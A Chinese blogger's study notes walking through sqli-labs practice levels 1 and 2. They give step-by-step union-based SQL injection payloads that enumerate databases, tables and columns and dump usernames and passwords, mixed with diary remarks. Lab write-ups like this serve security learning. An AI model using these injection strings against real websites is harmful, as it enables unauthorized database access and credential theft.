前言

懒猪赵肥肥耍了3天3夜,每天除了练英语口语,啥子都没干。今天开始发愤图强,嘻嘻~ 计划内容有:靶场、视频、python、PHP、java、计算机英语。

首先,每天必搞靶场必看视频必学java和英语。2天硬性计划:15关,2视频,java学习4-6小时。......最后,如果我不学习,那我就是赵肥肥肥!

0x01 第一关

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1.首先判断闭合

(# 作用:注释%23,记住在手工的时候最好改为URL编码)

 2.当id=1,或者id=1' ,的时候,才会报错。所以这里理解的“基于错误的get单引号字符型注入”的意思就是:通过单引号是否有报错然后

然后判断是否有注入。所以在这里,我们通过报错来判断各种信息的准确性。

 

所以这里,我们判断他的字段数为3

 3.接下来猜数据库(一般看到的是当前数据库),注意id后面就不要加东西了,要不然报出来的可能只是本次登录的dumb

?id= ' union select null,database(),3%23

4.数据库名security拿到手,开始查看所有同类数据库名称。

?id= ' union select null,(select group_concat(schema_name) from information_schema.schemata),null%23

看到数据库的名字了,接下来看具体的表名。

5.查找security数据库的所有表名。

?id= 'union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = security and table_name = user)%23

但是 数据库+表名 需要通过16进制的编码https://www.sojson.com/hexadecimal.html

0x7365637572697479
0x75736572
?id=%20%27union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%200x7365637572697479%20and%20table_name%20=%200x75736572)%23

然后费了很大力气,看不懂这些是啥。。

错误原因:我在security数据库里面找有没有user这一列干嘛??要是没有找到,,那不就GG了。。所以我的sql注入盲区还有:认为注入就是瞎猜。。。我真是脑洞大开。。现在我们的目标是,在注入的时候,要让注入点吐出真正的东西,而不是自己去猜。

所以我们这步正确的打开方式:查询security里面所有的表名!列名有:users、emails...

?id= ' union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())%23

6.表名里面选择一个有价值的,爆破列名

?id= ' union select null,null,(select group_concat(column_name) from information_schema.columns where table_name='users')%23

7.发现目标username和password,继续挖掘,发现用户名和密码:

?id=%%%20union%20select null,null,(select group_concat(username,0x3a,password) from users)%

注意:group_concat函数,可以显示出具体的字符;group_concat(username,0x3a,password),这里面的0x3a就是起到一个分割的作用,如果我输入的是0x3b(;)那么出现的就是以分号为分隔符~

总结第一关:老套路,看报错,返回完全正常,那就是OK的。返回页面有问题(不是404、403那些。。),就是you注入点。我们应该通过提示信息,先判断字段,再猜数据库名字---全部数据库---某个特殊数据库包含的表名----表名得列名--爆密码。https://www.cnblogs.com/-zhong/p/10877728.html

【今天第一关!居然闯了一个半小时!啊!蠢货!明天继续】

0x02 第二关

GET - Error based - Intiger based (基于错误的GET整型注入)

考研OR实习,我都苦恼几天了,每天做梦都是考研,又怕考上了耽搁了网络安全这条大船。毕竟成都网络空间安全少,走渗透更少。

唉。今天也想了一上午。。唉。。奈何身边大佬太多,无论是应用型还是学术型,都是让人瞠目结舌。

1.第一关加的 ' ,进行判断是否被过滤且通过返回错误查看是何种注入类型(字符型、数字型),在第二关这

http://blog.sina.com.cn/s/blog_5a5c92980102xfqg.html

3个字段,接下来猜数据库名

奇怪的很,id=* union select null,select(database()),null%23 查看数据库名,但是根据id的值随便填写,爆出不同的字符很正常更感觉就是密码了。。。然后我这里错了,因为id的值为-1,才能爆出数据库名,原因是:

 

通过security这个数据库,查看其他同级数据库(鸡肋???):

(select group_concat(schema_name) from information_schema.schemata)

还是进入security数据库,或者让他显示所有的表名:

  • (select group_concat(table_name) from information_schema.tables where table_schema='security')
  • (select group_concat(table_name) from information_schema.tables where table_schema=databse())

选择一个看起来顺眼的表:

查找信息(列名),发现这个users表里面有形如password的敏感字段:

(select group_concat(column_name) from information_schema.columns where table_name='users')

显示密码:

  • schema_name -> table_name -> column_name,from后面的“单位”要和前面一致
  • 步骤不能乱,随意输入可能会显示出想要的信息,但是没有办法进一步继续
  • (,,,,,)括号里面用逗号
  • column column column

靶场练习--sqli(1&2)的更多相关文章

  1. 靶场练习--sqli(3&4)

    第三关 先解决一下第二关遗留下来的问题,嘻嘻.看来数据库原理应当过一遍~ 1.首先判断是否有SQL注入,然后再看是数字型.字符型.发现这里是字符型. 2.order by 查询字段数,记得后面要加一个 ...

  2. 搭建sqli靶场

    前言: sqli是一个印度程序员编写的,用来学习sql注入的一个游戏教程 sqli这个靶场对php7.0是不兼容的(因为一些函数在php7中被删除了),所以搭建的时候要下载php5,如果你的系统要下载 ...

  3. 搭建 sqli SQL注入练习靶场

    文章更新于:2020-02-18 按照惯例,需要的文件附上链接放在文首 文件名:sqli-labs-master.zip 文件大小:3.5 M 下载链接:https://www.lanzous.com ...

  4. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  5. SQL注入靶场sqli-labs 1-65关全部通关教程

    以前说好复习一遍 结果复习到10关就没继续了 真是废物 一点简单的事做不好 继续把以前有头没尾的事做完 以下为Sqli-lab的靶场全部通关答案 目录: less1-less10 less10-les ...

  6. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  7. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  8. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  9. 搭建DVWA Web渗透测试靶场

    文章更新于:2020-04-13 按照惯例,需要的文件附上链接放在文首. 文件名:DVWA-1.9-2020.zip 文件大小:1.3 M 文件说明:这个是新版 v1.9 (其实是 v1.10开发版) ...

随机推荐

  1. [洛谷 P1013] NOIP1998 提高组 进制位

    问题描述 著名科学家卢斯为了检查学生对进位制的理解,他给出了如下的一张加法表,表中的字母代表数字. 例如: L K V E L L K V E K K V E KL V V E KL KK E E K ...

  2. 基于Nginx和uWSGI在Ubuntu上部署Django项目

    前言: 对于做Django web项目的童鞋,重要性不言而喻. 参考:https://www.cnblogs.com/alwaysInMe/p/9096565.html https://blog.cs ...

  3. DAO层单元测试编码和问题排查

    DAO层单元测试编码和问题排查 SecKillDaoTest .java(注意接口参数使用注解@Parm(“parameter”)) package org.secKill.dao; import o ...

  4. iOS应用发布打包时为什么选择release,而不是debug

    一.Debug和Release版本区别? 众所周知,我们进行iOS开发,在Xcode调试程序时,分为两种方式,Debug和Release,在Target的Setting中相信大家应该看到很多选项都分为 ...

  5. Tomcat服务器时间不正确

    ================================1=============================== 增加Tomcat参数设置"-Duser.timezone=G ...

  6. iReport+JasperReport+JSP 输出HTML方式预览

    <%@ page language="java" contentType="text/html; charset=UTF-8"      pageEnco ...

  7. Vagrant 入门 - 项目设置

    原文地址 配置 Vagrant 项目的第一步是创建 Vagrantfile 文件.Vagrantfile 文件的目的有两个: 设置项目的根目录.Vagrant 中的许多配置选项是相对于这个根目录的. ...

  8. 下载 GitHub 上保存在 AWS 的文件

    通过 GitHub 下载文件时,发现很多文件保存在亚马逊的 AWS 上.而国内访问 AWS 的速度很慢,经常会有文件下载失败.常用的解决方案是挂代理,但我这边挂了代理还是很慢,只好找其他办法. AWS ...

  9. c++函数overload 的歧义匹配

    https://www.zhihu.com/question/20200615 函数重载选择最佳匹配函数涉及到类型转换,默认参数 注意:没有int f(int,int)版本,编译器认为上面两个函数都是 ...

  10. eclipse配置,快捷键备忘

    1. General --> Workspace --> UTF-82. General --> Editors --> Associations --> JSP --& ...